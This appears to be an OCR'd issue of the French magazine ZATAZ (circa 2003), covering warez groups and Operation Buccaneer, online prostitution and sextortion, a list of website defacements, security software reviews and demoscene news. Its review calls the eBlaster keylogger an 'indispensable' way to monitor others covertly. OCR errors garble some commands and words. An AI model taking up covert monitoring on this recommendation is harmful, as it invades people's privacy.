seconde récupérer un contenu & mettre dans les pages. Coté réalisation, rien
de plus simple. Pour la premiére étape, il faut posséder un serveur dédié afin
d'utiliser notre méthode. Connectez-vous & votre SSH et allez dans le répertoi-
re de configuration de named, le serveur de nom de domaine, vous y trouverez
un fichier qui s'appelle mondomaine.com.hosts. Nous vous conseillons, de
repérer l'emplacement des fichiers named et apachctl, en effectuant :

flocate named

#locate apachect!

Dans notre cas /var/named/

# cd varnamed/

Lancer I'éditeur vi

# vi mondomaine.com.hosts

puis

‘ESC" G

pour placer le curseur en bas de page

“ESC" i

pour vous metire en mode insertion,

et taper cette ligne

? IN A IP_de_votre_machine.

attention entre chaque colonnes c'est une tabulation.

et de quitter vi

“ESC" :wq

Ensuite, il vous suffit de redémarrer votre serveur de nom de domaine :
killall -HUP named | /usr/sbinnamed

Voila il ne reste plus qu'apache (Serveur http) & configurer :

# cd /usrflocal/apache/conf

# vi httpd.conf

"ESC" /mondomaine.com

afin de trouver le bloc virtualHost correspondant & votre nom de
domaine

“ESC" i et soit d'ajouter la ligne si dans le bloc virtualHost vous

un tour sur albatore.com, moteur de
recherche francophone pour créer les entrées
sur les moteurs et remplir les pages pour les moteurs. Ensuite, il suffit d'at-
tendre que les robots des moteurs viennent chez vous afin de vous

référencer et peut-&tre qu'un jour vous arriverez & avoir 100.000
pages sur Google, ou prés de 10.000 comme sur voila.fr en ce
moment.

Pour conclure, nous pouvons nous dire qu'heureuse-
ment que les themes existent lorsque nous allons & la
bibliotheque, sinon dans quelle catégorie appar-
tiendrait un livre infitulé : “Le silence des
agneaux” ? Voila, le fait d'apporter trop d'im-
portance & un titre, un nom de domaine, est
loin d'étre un gage de sérieux Messieurs

les moteurs, les primitives essentielles

sont ailleurs.
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Deux des plus importants groupes de warez, pirates de logiciels, de la planéte prennent leur retraite.
Les groupes Fairlight et Class, qui existent depuis prés de 16 ans, ont décidé d’arréter. Voici pourquoi !

RS
AU BUSINESS

Depuis plus de 16 ans, les
groupes Fairlight, Class,
Razor 1911 ont écumé les
ordinateurs. Atari, Amiga, Pc,
Amstrad CPC et C64 pour
certains. lls s'étaient donner
comme but de cracker,

:.-.‘.

casser, diffuser des logiciels
commerciaux afin de les voir
se diffuser. L'un des premiers

Une cracktro du groupe Class
mis au lancement du jeu piraté

‘arguments de leurs actes : « Les logiciels sont rop chers, testez les avant de

vous faire amaquer. » Certains de ces groupes vont tomber cependant dans un
business paralléle des plus juteux. La police et la justice va mettre du temps & la
coincer. Mais ¢'était oublié la persévérance des gabelous.

DU FUN AU BUSINESS

Pourquoi ces groupes warez ont-ils donc décidé d'arréter. Ici nous ne parlons
pas de boards, de lieux d'échanges entre adolescents en mal de collections
aigués. Ces ‘Masters” du warez ont tout juste été refroidis par le jugement qui
vient de frapper I'un des leurs en Australie. Pitbull, un des leaders du groupe
Razor 1911, vient de se payer 18 mois de prison ferme. A 31 ans, Shane
Pitman, est tombé sous les coups de la justice aprés une enquéte qui a duré
prés de 3 ans. Cette condamnation fait suite & I'Opération “Buccaneer” qui va
permettre de mettre la main sur I'un des plus importants réseaux warez. Bilan
de cette apération d'envergure : I'arrestation des groupes comme DrinkOrDie,
RiSC, RiSCISO, RTS, SRM, WLW ou encore le groupe POPZ. Nous vous par-
lions de cette opération en

exclusivité dans ZATAZ

Magazine papier 3, voila plus

d'un an.

PETIT RAFPEL !

Noél 2001 les autorités ameri-
caines vont démanteler, en
coopération avec quatre
autres pays, un réseau global

Le message d'adieu du
groupe Fairlight
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de pirates informatiques spécialisés dans la copie de logiciels & partir d'inter-
net. Les douanes américaines ont démantelé ce réseau de pirates impliqués
dans la duplication de logiciels sous licence avec l'aide de I'Australie,

de la Grande-Bretagne, de la Finlande et de la Norvege. Les services des
douanes vont mener 38 perquisitions dans 27 villes américaines et saisir 129
ordinateurs dans le cadre de « I'Opération Boucanier ». La premiére phase de
I'enquéte s'était focalisée sur le groupe « Drink or dig » (bois ou meurs) formé
en Russie en 1993. Vu les activités de ce groupe, les arréter va permetire de
remonter & un grand nombre de groupes importants. Fait « amusant »,

le 1¢ janvier 2002 des
groupes comme Fairlight,
DEVIANCE, ... se lancaient
par fichier nfo.txt interpo-
sés des voeux de bonne
année : « As christmas is
comming closer, we at the FAIRLIGHT team would like to extend chrisimas
greetings to each and every one of you who enjoy games. We also send well
wishes to our competition in DEVIANCE and RAZOR 1911. We may flame
each other and fire off insults, but we are all brothers in the scene with

the same end goal, to have fun with our hobby. As always, we stress the
importance, as does our competition, of buying games you enjoy. If people do
not support the companies, developers and publishers we would never exist.
Enjoy the season and remember to keep in your thoughts those who died in
the recent terrorist events in the USA, as well as those suffering in Afganistan
and around the world. Your Friends at FAIRLIGHT ».

L'AVENIR DU WAREZ ?

Que les majors et autres éditeurs de logiciels se rassurent, il n'est pas prét de
mourir. La création continuelle de groupes, de boards, ne cesse de s'accroitre.
Aujourd’hui malheureusement l'esprit et 'éthique d’un grand nombre de ces

« nouveaux » internautes n'ont plus rien a voir avec l'idée du « testez avant
d'acheter ». Aujourd'hui il faut copier et copier encore. Avair et posséder tout et
n'importe quoi. Pas sur que le réseau des réseaux, ainsi que notre liberté en
sortent gagnants.




»» REPORTAGE

PROSTITUTION
SUR INTERNET

CHAT, CHATTE, ...

Voila un an nous vous racontions I'histoire de ces jeunes filles britanniques
d'4 peine 14 ans qui invitaient des internautes a leur envoyer des cadeaux en
échange de photos intimes. Les gamines avaient lancé des sites web et
avaient ouvert des comples sur des sites de listes de mariage. Une centaine
de ces comptes ‘litigieux” ont d'ailleurs été annulés. Une fois que I'achat du
cadeau demandé avait été validé, les filles communiguaient des photos
intimes. Quelle ne fiit pas notre surprise de voir que cela existait aussi en
France.

C'EST COMBIEN ?
Alors que nous surfions sur ['un des plus importants
chat frangais nous sommes tombés sur une discussion
qui nous a fait tendre 'oreille.
X : « Le cadeau est bien validé. Tu me donnes ton
email 7 »
Y : « Ok ! Jai le droit & combien de photos ? »
X : « Tu vas en recevair une dizaine ».
Quel était donc cet étrange échange de
photographie ? Nous avons donc été directement
poser la question a X, que nous appellerons Aline.
La réponse ne se fera pas attendre, des photos de sa personne, en petite
tenue, ou nue, avec ou sans objet. Pour les recevoir, il faut lui acheter un
cadeau via une liste qu'elle met & ma disposition. Jouant le jeu, nous allons
recevoir une liste de plusieurs dizaines d'objets a acheter sur divers sites inter-
net.
Nous ne lui cacherons pas plus longtemps notre identité et notre motivation a
la contacter. Aussi étonnant que cela puisse paraitre, elle va accepter de nous
répondre. Aline a 20 ans, étudiante parisienne, fan de web... et d'objets de
luxe.
Nolre premiére interrogation a été de savoir pourquoi faisait-elle cela. Sa
réponse se fera sans appel : “ll y a tellement de pauvres types sur le réseau
en mal de cul. Ayant un besain constant d'images de fille. Je ne fais que
répondre & la demande”. A-t-elle peur des malades, des barjots ? “Non, je ne
donne jamais mon vrai nom, ni mes coordonnées sans m'étre assuré de mon
interlocuteur. Je capte assez rapidement le mec qui bluffe”. Le mot est laché,
coordonnées. Cela voudrait-il dire qu'elle rencontre certain des “internautes” 7
“Oui ! A partir d'un moment, je vois que je peux aller plus loin avec mes
contacts. Je ne rencontre que ceux qui m'ont acheté plusieurs cadeaux. Je ne
couche pas le premier soir (Rire !)..." Aline va nous avouer que pour appater le
“chaland” elle travaille avec une autre de ses copines, Virginie. Lors de notre
rencontre, le Y qui demandait & X le nombre de photos auxquelles il avait droit
n'était rien d'autre que sa comparse. Le fait de "vendre” leurs photos est discu-
table, mais chacun fait ce qu'il veut de sa vie. Mais le fait de rencontrer des
“acheteurs” transforme ce petit jeu en prostitution : *Non, le fait de les rencon-
trer n'a pas pour but premier de se retrouver dans un lit. Je ne cache pas que
si le partenaire est plaisant, je suis moins regardante... Ca permet aussi de
fidéliser I"

C’est en surfant sur I'un des plus important chat francais que
nous avons rencontré Aline et Virginie. Ces deux internautes
viennent sur le web pour trouver I'aventure d’un soir... contre
des cadeaux. Elles ont bien voulu répondre a nos questions.

PIEGE A COUILLON

Les arnaques sont nombreuses pour piéger linternaute amateur de rencontre.
Des dizaines d’hommes de Singapour en ont fait les frais. Une adolescente de
18 ans rencontrait des internautes via des chats et autres forums. Elle visait
bien sur des hommes, et leur proposait des rapports et autres délires sexuels.
Une fois que les internautes méles accrochaient, elle les menagait de révéler
leur histoire au grand public et aux proches, femmes, employeurs ... En échan-

_ge du silence de Ia "gamine” les “gars” devaient se délester de 30 000 dollars

Singapour, soit un peu plus de 17 000 euros.
L'arnaque n'a pas duré et la demoiselle est en
ce moment choyée en prison.

Dans un autre genre, montrant que les filles
sur le web peuvent tout faire et avoir, I'his-
toire de la gamine et du pirate. La grande
majorité des Script-kiddies sont des ado-
lescents en mal de reconnaissance. Dés
qu'ils peuvent apercevoir une fille sur le
réseau, c'est la féte pour eux. Derniére
preuve en date cet escroc britannique

piégé par une internaute de 15 ans. Le pira-
te avait réussi a piéger quelques mois aupara-
vant la famille de la gamine. Un trojan caché
dans la machine familiale et le pirate
avait eu accés a des informations
bancaires qu'il va s'empresser
d'utiliser. Bilan prés de 3 000
euros détournés. La jeune
fille ne va pas lacher
prise et va draguer
l'escroc qui se fai-
sait appeler
GafferBoy.
Bilan :
Le
pirate

va conti-
nuer a
fantasmer...
en prison.
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y4.17.V4
Jeu de l'oie

Avec les vacances, on ressort ses jeux de sociéteés.

Voici donc le ZATAZ jeu de I'oie !

Les reégles sont simples. Prenez un dé et faites-vous des prions,

un par joueur. On vous conseille les nouilles, les touches d’un clavier.
Par contre évitez les tranches de jambon.

Lhistoire : Vous étes un informaticien. Votre but ultime est d’avoir
une augmentation.

REGLES

Tous les joueurs lancent le dé, celui qui fait le plus gros score commence

le jeu, en cas d'égalité, les joueurs ex aequo procédent a l'identique.

Le sens du jeu est le méme que celui des aiguilles d'une montre.

Le premier qui tombe précisément sur la case « Augmentation » a gagné la partie.

Les cases spéciales :
Case RAM (8) : Plus de mémoire, fu avances de 3 cases.

Case hiere (15) : Ta productivité remonte ! Avances d'une case.
Biére a boire avec modération.

Case Windows (22) : Mise & jour obligatoire et réinstallation. Retour & la case départ.

La case ANPE (27) : Jette le dé pour savoir combien de tours tu vas devoir passer :
De 1 a 4, c'est le nombre de tour ol tu ne joues pas.
De 5 4 6, vas a la case « entretien d’embauche ».

La Case Linux (30) : Bonne initiative. Tu rejoues.

Case sexy (32) : Une nuit de folie avec une IRCienne. Seulement la belle blonde
de 20 ans en avait 40 et elle s'appelait Maurice.
Il te faut deux tours pour t'en remettre.

Case entretien d’embauche (37) : Un des joueurs pose une question.
Une mauvaise réponse t'amene a la case ANPE.

Case pirate (39) : Tu t'es fait hacker ! Il faut tout vérifier. Jette le dé pour savoir si tes
données sont corrompues.
Si tu fais entre 1 et 3 : tout va bien tu passes un tour.
Entre 4 et 5 : houla faut sortir les backups !
Passes 2 tours. Tu fais 6 : direction la case ANPE !

La case vacances (48) : Tu es en pleine forme. Avances de 2 cases.

Case «?»: |l faut répondre a une question posée par 'un des autres joueurs.
En cas de mauvaise réponse, passes ton tour !

Case nouvelle copine (53) : Tu es moins productif. Recules de 3 cases.
Case DoS (56) : La machine a planté, passes un tour.

Case Stats (60) : Ta start-up prend I'eau. Jette le dé : Score de 1 a 3 : ANPE.
De 3 4 4 : Entretien d'embauche. De 5 4 6 : Ouf tu es reclasse.

Case ! (61) : Tu es tellement a fond dans le dernier Duke Nukem que tu as
confondu Format C: avec Backup C:. Tu refournes a la case départ.

Case Zataz (62) : Tu es abonné & Zataz mag et sa lecture-te rend moins
productif ! Recules d'une case.
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LES LIVRES A DEVORER

Voici une petite sélection de livres a dévorer sous les palmiers cet été. Des livres
' E I E | E ' dédiés a la sécurité informatique et a I'histoire de Funderground en général. A
® deégusier sans modération pour parfaire sa culture numerigue.

. vannick Cueaw | Riratesidelliinformatique
- Loick Rocre e livre date de 1995, c'est dire que depuis de I'eau et des bits ont coulé sous les toits.
i s Damien Basen. | Ce livre de Philippe Blanchard permet de se faire une idée sur le piratage avant internet.
Piratesde = | Les BBS, le Minitel... Intéressant car déja & I'époque on parlait de piratage par passion
I’infonnqﬁq_l;[e' etf/ou par intérét. Edition Madisson Wesley. ISBN : 2-87908-109-2

enquétesur = | HACKERS! Hackersi et piratesisurjinternet

les hackers. i LE 5* pouvoir Voici le premier livre de votre serviteur. Sorti en 2001 aux editions Desmaret vous
francale il ; y découvrirez 15 ans de passion informatique, d'amitié dans le milieu underground.
i La nouvelle édition, la 3éme, qui sortira en septembre 2003 apportera de nouvelles
! lumiéres et des révélations sur certains pirates et autres services qui les traquent. Edition
< Desmaret. ISBN : 2-913675-09-3

Quisonties piratés’ Menace sur/Internet
de I'Internet ? frsary  Grégory Destouche a été gratter du coté des groupes subversifs et autres terroristes sur
o le net. Ce livre donne une bonne idée des premiers pas des hacklivistes sur internet.
Passionnant & lire car ce livre sorti en 1999 permet de comparer ensuite avec l'actualité
de ces 4 derniéres années. Edition Michalon. ISBN : 2-84186-101-5

Damien Bancal

Sécuritélinformatique
Sous fitré risques, stratégie et solutions le livre de Didier Godart va vous permettre
de cerner la problématique de votre sécf:urité informatique. Techniques et schémas
= pour décrire, & travers des fails vécus, les enjeu, les armes et les regles qui gérent
Haclfers chevalers linformatique et sa sécurité. Edition de la Chémbre de Commerce et d’Ind?Jstr%e belge.
et pirates didnternet ISBN : 2-930287-21-7
sur internet et plratES
informatigues | Hackers!!!Le 58 pouvoir,
e D/ Ecrit par deux professeurs de I'école de commerce de Grenoble ce livre tente de cerner
T}."{,ﬁ, la sociologie et les idéologies changeantes des pirates et des hackers. Editeur Maxima.
ISBN : 284001-302-9

Chevaliers diInternetiet|piratesiinformatiques

Suivez I'itinéraire de trois anciens pirates qui finiront devant a justice pour avoir visité
plusieurs sites du gouvernement ameéricain. Intéressant pour tenter de cerner les envies,
les attitudes de jeunes pirates devant leurs machines. Editions 1. ISBN : 49-116-0

L RS Piratesetiflicsiduinet
4 Ce petit livre reprend les articles et les “ enquétes * de deux journalistes de Libération.
Vous pourrez y découvrir, entre autre, linterview d'un ancien de la scene Francaise,
Tobozo que nous avions mis en relation avec les auteurs de ce bouquin. Edition Seuil.
ISBN : 2-02-040390-0

Contrefacon|dellogiciel

MENACE SUR INTERNET Voici le livre qu'il vous faut pour lutter contre la contrefagon de logiciel, comprendre le
fonctionnement d’une plainte, une saisie-contrefagon... Ce livre édité sous I'égide de

I'Association de Protection des Programmes, par le biais des éditions des Parques, a

été écrit par deux spécialistes du sujet, Carine Bernault et Ambroise Soreau. ISBN :

2-86771-016-2.

l'a pesteinformatique

Voici 'un des premiers livres frangais sur le sujet. Il date de 1989. Ecrit par Alain Acco et
Edmond Zucchelli on se retrouve a la lecture de se livre en pleine guerre froide avec les
premiers assauts informatiques entre pirates, Kgb et américains. Edition Calmann Levy.

Carine BERNAULT
Ambioise SOREAU

Contrefagon de logiciel

Les solutions jurldiques

Rites te
Andié LUCAS

2 W s S pidier E0DRRT
s, N A
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»» LOGICIELS

BONS PLANS

Il existe sur le réseau des réseaux une pléthore de logiciels permettant de sécuriser nos surfs.
Voici notre meilleure sélection du moment, avec, cerise sur le gateau,
deux logiciels 100 % ZATAZ Magazine rien que pour vous.

STEGANOS SECURITY SUITE 5
Systéme : Windows 95, 98, Me, NT 4.0, 2000, XP
Note : 16 /20
La sociéte Steganos nous a communiqué
| son dernier bébé. Nous vous avions déja
s2 " parlé dans ZATAZ Magazine 6 de leur logi-
W ciel d'anonymat sur internet, ici nous avons
eu la totale. S.S.S. 5 propose de crypter jus-
qu'a 4.8 Go d'information sans que votre
H.D. perde trop de temps d'accés. Il permet
aussi de chiffrer des informations que vous
souhaitez mettre sur CD, DVD. Cette version
prapose aussi de cacher vos documents en
utilisant la steganographie, de crypter vos
: | mels et de détruire tous les documents de
votre machine sans que ces derniers puissent étre récupérés par la suite. Un
logiciel qui mérite largement l'investissement. http://www.steganos.com

STEL \\l)w

:u..a—-.qf o ceyplage ot de
ptectiont « Phus de 3 miflioms Tutilisarcurs |

SECURENGINE 3.00

Systéme : Windows 95, 98, Me, NT 4.0, 2000, XP

Note : 1520

T @ Voici un logiciel de sécurité fran-
cais et gratuit qui a pour but de
faire de votre vie privée une réalité.
Ce programme, programmé par
Adrien Pinet, a pour but de coder
vos informations. |l intégre les der-
nieres innovations en terme de sté-
ganographie et de cryptage. Il per-
met de cacher tous vos documents
confidentiels dans des fichiers ano-

dins comme des fichiers images, des fichiers sonores wav ou encore dans un

fichier texte ! Les fichiers contenant vos codes sont cryptés avec une clef allant

de 48 bits jusqu'a 800 bits !

OUTPOST FIREWALL

Systéme : Windows 95, 98, Me, NT 4.0, 2000, XP

Note : 15/20

Nous avons été gatés pour ce numéro. Le troi-
sieme logiciel que nous avons regu est un firewall
édité par la société WSKA. Cette porte coupe feu
propose aussi blocage des publicités, filtrage des
logiciels réseau, cache DNS, la configuration et la
prise en main sont faciles. Les tests que nous
avons effectué (Nous avons joué avec Netbus,
scanne des ports, ...), a donné d'excellents résul-
tats. http://www.agnitum.com/download/outpost-
free.html

Firewalt

EBLASTER

Systéme : Windows 95, 98, Me, NT 4.0, 2000, XP

Note : 15/20

La société SpectorSoft nous a envoyé son demier espion numérique. Une belle
béte. Que se passe-t-il sur votre ordinateur durant votre absence. Qui clique sur
quoi, qui a touché a vos mels, eBlaster va vous le dire. Cet espion vous previent
de tout. Il intercepte les frappes claviers, permet de connaitre les images télé-

{ chargées... Un outil pour parents
soucieux de connaitre les activi-
tés des enfants sur la machine
familiale. Transparent, il ne
modifie presque rien sur le pc,
rendant sa présence quasiment
invisible. Deux petits fichiers
apparaissent, nvrer32.dil et
mssecrmd.exe. Bref, un outil

2 indispensable et bien pensé.
Pour rappel, I'utilisation de ce genre d'outil dans une entreprise ou dans un ordi-
nateur sans I'accord des personnes ciblées est illégale dans la majeure partie
des pays européens. http://www.netespion.com/

INTERNET CLEANUPYV 3.0

Systeme : Windows 95, 98, Me, NT 4.0, 2000, XP

Note : 14/20

Autre logiciel regu a la rédaction, le dernier
né de chez Aladdin Systems. Ce program-
me va permettre de protéger votre vie
privée durant vos pérégrinations sur inter-
net. Ce logiciel bloque les cookies, les
publicités indésirables, ... Internet Cleanup
V 3.0 permet aussi de detrwre les donnees
indésirables sur votre Pc.
http:/iwww.aladdinsys.com

<M addin
TAsystems

Qui vous espionne ?

PROTEGEZ VOTRE

CONFIDENTIALITE
SUR INTERNET

FEE DU LOGIS V1.0
Systéme : Windows 95, 98, Me, NT 4.0, 2000, XP

Voici un programme ZATAZ Magazine dédié & la destruction définitive de
fichiers. Comme vous devez le savoir, les documents mis & la poubelle, puis
effaces, peuvent étre récupérés. Notre logiciel, Fée du logis va se charger de
détruire définitivement les fichiers que vous souhaitez voir disparaitre. Un outil
parfait pour garder l'intégrité et la discrétion de vos documents confidentiels au
bureau par exemple.

A télécharger dans votre espace réservé sur zataz.com

Retrouvez tout les logiciels ZATAZ Magazine (15), ainsi que des centaines de
logiciels de sécurité informatique sur notre CDrom vendu

au prix de 19.90 euros (Port compris).

Pour en savoir plus http:/iwww.zataz.com/zatazv7/cdr8.php
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Comme chaque mois nous allons faire un petit tour du coté des créatifs
de I'underground informatique, les démomakers. Dernieres productions
a vous exploser les neurones et les prochaines dates des Démos party.

)"NIAK

BREAK POINT 2003

La démo party Break Point 2003 a vu des créations & laisser e plus blasé des
aficionados de la démo sur son postérieur. Deux exemples a télécharger sur
notre accés réservé aux lecteurs de ZATAZ Magazine papier.

PHLOAM

Notre coup de coeur de ce numéro. La démo Unique est arrivée en premiére
place de la compétition création pour Game Boy Advance & la Breakpoint
'2003. Cette démo est tout simplement... monstrueuse. 3D, shading, musique
et animation superbe. Une fois que vous aurez vu cette démo, qui pese 1 500
kilos, vous regarderez les jeux commerciaux d'un autre ceil. Certaines sociétés
de jeux vidéo devraient dailleurs en prendre de la graine.

ONI

‘ Le groupe Nature a sorti une intro de 64 kilos pour les fans
Ix z de 'Amiga. 64k de pur bonheur arrivée premiére de

I

f i

['Underscore 2003. Elle tourne sur Amiga AGA.
http://move.to/nalure

THE POPULAR
BEMO

Cette démo de 8 Mo

est arrivée premiere de

la compétition. Elle
lourne sous Windows \
équipé de DirectX9. !
Son auteur : Farb- ‘
rausch. Un monstre de
technique qui vaut son
pesant de cacahuétes.

ASSEMBLY ‘03

Les 7, 8, 9 et 10 aoit 2003 va se tenir THE PARTY (joke) europgenne.
L'Assembly 2003 va se tenir & Helsinki en Finlande. La créme de la démo-
scéne internationale y sera. Nous aussi pour vous faire vivre cette party en live
via ZATAZ.COM et en photos dans ZATAZ papier 8.

http://www.assembly.org

OUTERBRAINS

La seconde édition de cette party va se tenir les 15, 16 et 17 ao(it 2003 aux
Pays-bas, plus exactement a Oosterbeek. Prix d'entree 25 euros.
http://www.outerbrains.nl

EVOKE 2003

Du 22 au 24 aodt, Cologne, Allemagne, va accueillir ['Evoke 2003. Pas mal de
démomakers des pays de 'EST vont venir montrer leurs talents. Prix d'entrée
20 euros.

http:/fwww.evoke-net.de

24 - Zataz Magazine

PHEOAM

BCN PARTY

L'Espagne accueille la 4éme édition de la BCN Party. Ca va se dérouler du 31
octobre 2003 au 2 novembre. Lieu de fiesta, Barcelone. Prix d'entrée 20 euros.
hitp://www.bcnparty.orgd

EL BOURRRINOS

Le groupe MARSHALS (Isobel, Yannus, Zone, Celsius, Woid, Memon) a sorti
en mars dernier une démo comme nous les aimons. Belle et technique. Elle
tourne sous Windows et propose trois grosses minutes de bonheur pour plus
de 130 heures de boulot. On comprend pourquoi elle a terminée ler a la
Synthesis Party 2003. http:/fwww.marshals.cz

El howrirings
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LA TETE CHERGHEUSE DE VYOS INFOS,

- Surveillez l'actualité de: votre entreprise

VOS concurrents

vos clients

votre domaine d'activité
vos valeurs boursiéres

les nouvelles technologies..

EN TEMPS REEL !

 Offre spéciale réservée aux lecteurs de ZATAZ
Net2one double gratuitement votre temps
d'abonnement !

CODE PROMO : ZATAZ

(A utiliser au moment de votre inscription)

Votre service de veille sur I'actualité
- disponible sur www.net2one.com

~ Offre valable du 01/07/03 au 01/10/03
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HACKED

=S PIRATES DU MOIS

Il s’en passe de droles sur le réseau des réseaux. Voici notre sélection des
sites piratés soit par des scripts kiddies en mal de reconnaissance
ou des hacktivistes qui veulent passer leurs messages. Si vous
aussi vous étes témoin d’un piratage de site web, contactez-nous

®

Hacked by Breakp0Oint and Over_G.
[DWC GrOup]

Cible : jackiechan.com

Auteur : DWC GrOup

Commentaire : Certains pirates trouvent marrant de féter
I'anniversaire de leur pote sur le site internet des autres. BreakpQint
and Over_G. sont passeés sur le site de I'acteur Jacky Chan en lui
|aissant comme message un « comment vas-tu Jack ? » sans
oublier de souhaiter I'anniversaire d'un copain.

Cible : martinique.univ-ag.fr

Auteur : HMB

Commentaire : Pourquoi tant de haine... ou de bétise ! Le groupe
HMB, comprenez Hacker Master Brasil est passé sur le site de
I'université de Martinique. Ce brésilien avait un important message
3 faire passer : HaCked HAcKeD bY HMB !l Bref, du vrai script
kiddy.
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via contact@zataz.com.
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REETZ OSTILEEG-CHLOREN

Cible : parti-socialiste.fr

Auteur : Miaouz

Commentaire : Retour sur le devant de la scéne des barbouilleurs
frangais de Miaouz. Cet internaute est passé par le site du parti
politique frangais, le P.S. Coté message, un coucou classique.

Cible : cofreco.fr

Auteur : DkD[//

Commentaire : L'hackliviste franais ne se calme pas au sujet de
son anti américanisme et le stipule sur le site de cette société de
recouvrement de facture, dette, ... A noter que le site web de ce pirate
a lui aussi été piraté. Un « internaute » a ét& mettre le logo du
département de la justice américaine pour tenter de calmer DKD[/.
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Cible : DkD

Auteur : Inconnu

Commentaire : L'hacktiviste frangais victime d'un piratage. Ala
place de son site web, une page d'avertissement du departement
de la justice americaine. Une blague d'un internaute qui souhaitait
par ce « message » tenter de calmer le pirate qui a défacé le plus
de site militaire Us ces deux derniéres années.
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Cible : Tf6.fr

Auteur : Far[3]aS

Commentaire : La chaine satellite de Tf1 et de M6 a connu son second
piratage depuis sa création. Cette fois, un pirate Tunisien est passé par 1a |
La faille Webdav semble-t-il. Le défaceur a juste notifié son intérét pour les
Etats-Unis par un message sans équivoque : « Fuck USA Il Et surtout
MOMO STOP THE WAR. »
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Cible : mail.pactide.noaa.gov

Auteur : NitraM

Commentaire : Homer Simpson sur la page webmail du National
Oceanic and Atmospheric Administration. Encore un site du
gouvernement ameéricain continuellement visité. A croire qu'ils le
font expres pour se payer un audit de sécurité & l'ceil, sur le dos
des pirates du web.

»» HACKED

Cible : Agriculture.gouv.fr

Auteur : bads3ctor

Commentaire : Le serveur Meurthe et Moselle du site du ministére
de I'agriculture visité par un brésilien, encore un. Coté message,
rien, vide, néant avec un pathétique : badsector ownzz ia...

g
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Cible : ocse.acf.dhhs.gov

Auteur : Inconnu

Commentaire : Image choc sur le site de ce serveur du
gouvernement americain. Le pirate a laissé un message au sujet
des enfants irakiens qui ont subit la guerre dans leur pays. A noter
que ce serveur connait un nombre de defacement assez important,
avec 12 modifications en un mois.
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by Over G [DWC Grup ]
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ALL of DHGeaup, Meby, Foster, Hixiy, O

Cible : worldgamecube-fr.com

Auteur : Over G

Commentaire : Ce pirate russe, membre du groupe [DWC GrOup]
n‘avait rien a dire sur ce site frangais de fan du GameCube. Rien a
dire sauf que son groupe est beau, que son groupe est fort...
Aussi étonnant que cela puisse paraitre, il a oublié de dire que son
groupe va bientét finir entre 4 murs !
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Une remarque, un commentaire, une question ? Le courrier des lecteurs vous est ouvert. Nous ne pou-
vons répondre a toutes vos missives sur cette page mais nous répondons a vos mels en 8 heures
chrono ! N’hésitez pas a nous écrire via zataz.com

Dura lex
Bonjour, J'ai lu sur votre site web que
vous aviez des problémes avec la justice !
Est-il possible de nous en dire plus ?
(Luc - 62 / Maxence - 75 / Loutres - Mel)

Bonjour, Nous n’avons pas de probléme,
heureusement d’ailleurs. Nous avons juste
été mis devant un juge dans une affaire qui
vous fera sourire le jour ol nous pourrons
en parler, normalement dans le prochain
numéro de ZATAZ Magazine. En quelques
mots, une personne que nous avons
interviewé a été dire ensuite que cela
n’était pas vrai ! A suivre...

Ca bouge avec la poste

Hello ! J'ai découvert un probleme de
sécurité sur le site de la poste. En gros,
il est possible de rentrer dans le compte
d'un membre de laposte.net. Je les ai
contacté, mais je n'ai eu aucune réponse
et le site n'a toujours pas éteé corrigé.
(Anonyme)
Nous avons testé cette faille et confirmons
qu’elle n’a toujours pas été corrigée. Nous
avons contacté la poste qui n’a pas, non
plus, encore corrigé. On va finir par envoyer

un courrier postal, ca ira peut-étre plus vite.
En attendant ne lisez aucun fichier texte
mis en piéce jointe dans un courrier envoyé
sur votre compte laposte.net

Allo ! C’est mu
AlID I L 51 1T

Bonjour, D’abord bravo pour votre
magazine ! J'ai un gars qui m'a téléphoné
se disant responsable du plus important
magazine européen sur I'underground.

Il voulait trouver du contenu.

Je voulais savoir qui était ce « guignol ».

Promis nous on ne téléphone a personne
pour tenté de trouver des sujets. On connait
notre affaire, donc pas besoin de faire de la
retape. On ne sait pas qui est ce magazine
qui se prétend étre le parte-parole des
hackers, mais on doute que ce genre de
propos puisse donner confiance. Ca doit
étre le genre de magazine a meftre un
communiqué s’excusant d’un faux article
aprés diffusion de peur de finir au fribunal !

Uh bin merci:

Bonjour, Juste un petit mot, pour vous
remercier...

Y a longtemps, au tout début de
I'informatique, j’aimais vraiment lire

quelques mags qui apportaient quelques
choses, comme Amstrad 100%. On y avait
de bonnes infos, au tout début de Joystick
pareil, ¢'était sympa... Quand le tout
est devenu grand public avec pc et
compagnie... adieu le merveilleux monde
connu sous Amiga... avec ces délires, ces
programmations, ces demomakers, ces
jeux... J'avais perdu un certains godt a
I'actu de ce monde et vous me redonnez
cette joie de connaitre I'Underground, bien
sur, ¢’est une partie mais ca me fait réver
de voir des mecs qui touchent leurs billes
ainsi. Merci !

(HICKS par mel)

Oulla ! Que dire ! Je suis rouge de
confusion ! Merci pour le compliment.

Il est vrai que les Old School, ceux qui ont
connu les premiéres party, qu'elles soient
copie ou coding, ont des souvenirs plein la
téte de délire entre potes, entre passionnés.
Mais heureusement cela existe encore

un peu. Pour ce qui est de la presse
informatique en général, difficile de sortir
des articles inédits, bougeant un peu les
choses, sans que les annonceurs ne
montrent les dents, surtout si on vise le
grand public. C'est d'ailleurs pour cela que

Ahonnez-vous a Zataz Magazine
et recevez un le CD Zataz Tools en cadeau !
6 n°s > France : 10 Euros - Belgigue : 12 Euros - Suisse : 20 CHF - Dom - TOM: 20 Eures

wl Je m’abonne 2
y Zataz Magazine

(] 6 numéres, je joins mon réglement de 10 Euros TTC.

Belgique : 12 Euros - Suisse : 20 CHF - DOM/TOM : 20 Euros

[] 2 ans (12 numéros), je joins mon reglement de 19 Euros TTC.
Belgique : 22 Euros - Suisse : 38 CHF -

Je régle par :

Mediastone

DOM/TOM : 38 Euros 75 017 Paris

> Chegue bancaire ou postal, a I'ordre de Mediastone.

> Carte bancaire VisaouEurocard n® L1 1 1 | Lo L 01 LI 111} M L s

Expirefin | | | L1}

Société

Adresse

Code Postal ___
Signature obligatoire :
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Prénom *

Bulletin a renvayer a :

En Cadeau

Le CD
Outils Zataz
(valeur : 15 Euros)

61. rue Joulfroy d’Abbans

U ,
n CD hourreé
)
a craguer
dutilitai
utilitaires de
T )
sécurite !

(détails du contenu du CD ici :
www.zalaz.corm/zataz/boutique.htm )
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beaucoup de journaux informatiques
ressemblent plus a du publi-reportage qu’a
autre chose. Mais promis, nous on va
continuer. Notre “dme” de bidouilleur est I3
et elle restera.

Bonjour,
Pourquoi ne mettez vous pas un
dictionnaire de mots. J'ai du mal a suivre
certains de vos articles a cause d’une
incompréhension de vocabulaire.

(Suzanne - 14)

Rassurez-moi, votre buraliste, votre
marchand de journaux vous vend le journal
